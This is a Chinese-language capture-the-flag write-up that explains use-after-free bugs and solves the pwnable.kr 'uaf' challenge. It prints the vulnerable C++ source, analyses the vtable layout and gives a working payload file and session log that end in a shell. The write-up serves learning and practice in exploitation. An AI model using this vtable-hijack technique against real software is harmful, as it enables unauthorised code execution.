0x00 UAF利用原理
uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用。
0x01 UAF漏洞的利用步骤
(1)先精心构造一个迷途指针
(2)再精心构造数据填充被释放的内存区域
(3)再次使用该指针,改变程序流程
0x02 Pwnable.kr-uaf
源码如下;
1 #include <fcntl.h> 2 #include <iostream> 3 #include <cstring> 4 #include <cstdlib> 5 #include <unistd.h> 6 using namespace std; 7 8 class Human{ 9 private: 10 virtual void give_shell(){ 11 system("/bin/sh"); 12 } 13 protected: 14 int age; 15 string name; 16 public: 17 virtual void introduce(){ 18 cout << "My name is " << name << endl; 19 cout << "I am " << age << " years old" << endl; 20 } 21 }; 22 23 class Man: public Human{ 24 public: 25 Man(string name, int age){ 26 this->name = name; 27 this->age = age; 28 } 29 virtual void introduce(){ 30 Human::introduce(); 31 cout << "I am a nice guy!" << endl; 32 } 33 }; 34 35 class Woman: public Human{ 36 public: 37 Woman(string name, int age){ 38 this->name = name; 39 this->age = age; 40 } 41 virtual void introduce(){ 42 Human::introduce(); 43 cout << "I am a cute girl!" << endl; 44 } 45 }; 46 47 int main(int argc, char* argv[]){ 48 Human* m = new Man("Jack", 25); 49 Human* w = new Woman("Jill", 21); 50 51 size_t len; 52 char* data; 53 unsigned int op; 54 while(1){ 55 cout << "1. use\n2. after\n3. free\n"; 56 cin >> op; 57 58 switch(op){ 59 case 1: 60 m->introduce(); 61 w->introduce(); 62 break; 63 case 2: 64 len = atoi(argv[1]); 65 data = new char[len]; 66 read(open(argv[2], O_RDONLY), data, len); 67 cout << "your data is allocated" << endl; 68 break; 69 case 3: 70 delete m; 71 delete w; 72 break; 73 default: 74 break; 75 } 76 } 77 78 return 0; 79 }
根据分析源码,大致漏洞利用思路:
因为在main函数开始处已经申请了两块内存
Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21);
我们只要执行case 3就可以让这两个指针成为迷途指针,加以利用
case 3: delete m; delete w; break;
观察到case 2 申请了一块内存,并且对这块内存进行写操作
case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break;
在具体利用之前我们先简单分析一下此时堆内存的分配情况,具体是c++类存在虚函数时的分配情况,我这里不细说,只给出结论,具体的可以参照
1.IDA pro第二版124面
此时堆内存分配大致如下图所示:
加上case 1中执行introduce函数
case 1: m->introduce(); w->introduce(); break;
vtable指针指向类的虚函数表,introduce函数处于虚函数表第二项,即*(vtable+8)所指向的地址,又知道在虚表中give_shell函数的位置等于introduce函数位置 - 8.意思是假如我们先把vtable的值覆盖为vtable - 8,那么再执行introduce函数时就相当于执行give_shell函数。
通过IDA逆向分析,我们找到类Man的vtable的地址为0x401570.
利用脚本如下:
uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/poc
uaf@ubuntu:~$ ./uaf 24 /tmp/poc
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag